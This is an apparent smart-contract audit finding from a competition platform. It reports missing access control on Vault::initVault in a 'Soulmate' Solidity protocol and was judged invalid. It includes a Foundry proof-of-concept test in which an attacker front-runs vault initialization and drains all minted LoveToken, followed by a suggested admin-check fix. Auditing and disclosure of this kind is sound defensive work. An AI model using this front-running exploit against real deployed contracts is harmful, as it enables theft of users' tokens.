Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

`Vault::initVault` lags necessary access control allowing anyone to call and set malicious addresses

Summary

The Vault::initVault funcition allows to set the necessary addresses for the protocol but missing access control check will allow unauthorized access to set malicious addresses for them which will ultimately lead to a major destruction of the protocol.

Access control serves the purpose to allow authorized access to call the sensitive function which requires carefully checking the inputs and setting them because a wrong input given can lead to major impact for the protocol and user interacting with the protocol.

initVault having no access control on it will allow malicious actors to set malicious addresses and will give them the full control to hinder with the Soulmate protocol.

Vulnerability Details

The vulnerability is present in the Vault::initVault function starting from line 27 as it lags necessary access control on it allowing malicious actors to set the protocol's addresses to their own addresses which allows them to hinder with the normal functioning of the protocol as well as impact the users associated with the protocol.

The addresses for loveToken and managerContract are necessary for the protocol functioning, where the loveToken is the ERC20 based token for the Soulmate protocol and managerContract is the manager of the Vault.

These are necessary addresses as managerContract is given the approval to spend LoveToken and malicious actor setting them to their own addresses will give them the advantage to the protocol's tokens.

@> function initVault(ILoveToken loveToken, address managerContract) public {
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}

Impact

  • Malicious actor setting loveToken to its correct valut but managerContract to their own address will allow them to get the approval for a total of 500,000,000 LoveToken as the call loveToken.initVault(managerContract) mints and approves LoveToken to the vault and managerContract respectively.

  • Even they can set the loveToken to their own addresses which will allow distribution of their malicious token in the protocol.

PoC

Add the test in the file: test/unit/BaseTest.t.sol

Run the test:

forge test --mt test_AllowsMaliciousActorToSetUpNecessaryAddressesForVault_And_PullAllTokens
function test_AllowsMaliciousActorToSetUpNecessaryAddressesForVault_And_PullAllTokens() public {
// Initiate the protocol
// note: these are all genuine protocol addresses
// deployer is the genuine person from Soulmate protocol
vm.startPrank(deployer);
Vault airdrop_vault = new Vault();
Vault staking_vault = new Vault();
Soulmate soulmate_contract = new Soulmate();
LoveToken love_token = new LoveToken(
ISoulmate(address(soulmate_contract)),
address(airdrop_vault),
address(staking_vault)
);
Staking staking_contract = new Staking(
ILoveToken(address(love_token)),
ISoulmate(address(soulmate_contract)),
IVault(address(staking_vault))
);
Airdrop airdrop_contract = new Airdrop(
ILoveToken(address(love_token)),
ISoulmate(address(soulmate_contract)),
IVault(address(airdrop_vault))
);
vm.stopPrank();
// -----------------------------------------------------------
// ---------------- Attacker's Intervention ------------------
// -----------------------------------------------------------
// But before the `deployer` can call the initVault, malicious actor called it
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
airdrop_vault.initVault(
ILoveToken(address(love_token)),
attacker
);
staking_vault.initVault(
ILoveToken(address(love_token)),
attacker
);
uint256 minted_amount = 500_000_000 * 1e18;
// // now the attacker address has all the approvals of LoveToken minted
love_token.transferFrom(address(airdrop_vault), attacker, minted_amount);
love_token.transferFrom(address(staking_vault), attacker, minted_amount);
vm.stopPrank();
// attacker snatched all the LoveToken
assertEq(love_token.balanceOf(attacker), minted_amount * 2);
}

Tools Used

Manual Review, Unit Test in Foundry

Recommendations

Add the access control to allow the protocol authority to call Vault::initVault

contract Vault {
/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error Vault__AlreadyInitialized();
+ error Vault__NotAuthorized();
/*//////////////////////////////////////////////////////////////
STATE VARIABLES
//////////////////////////////////////////////////////////////*/
bool public vaultInitialize;
+ address public admin;
/*//////////////////////////////////////////////////////////////
FUNCTIONS
//////////////////////////////////////////////////////////////*/
+ constructor() {
+ admin = msg.sender;
+ }
/// @notice Init vault with the loveToken.
/// @notice Vault will approve its corresponding management contract to handle tokens.
/// @notice vaultInitialize protect against multiple initialization.
function initVault(ILoveToken loveToken, address managerContract) public {
+ if (msg.sender != admin) {
+ revert Vault__NotAuthorized();
+ }
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other
shikhar229169 Submitter
over 1 year ago
0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.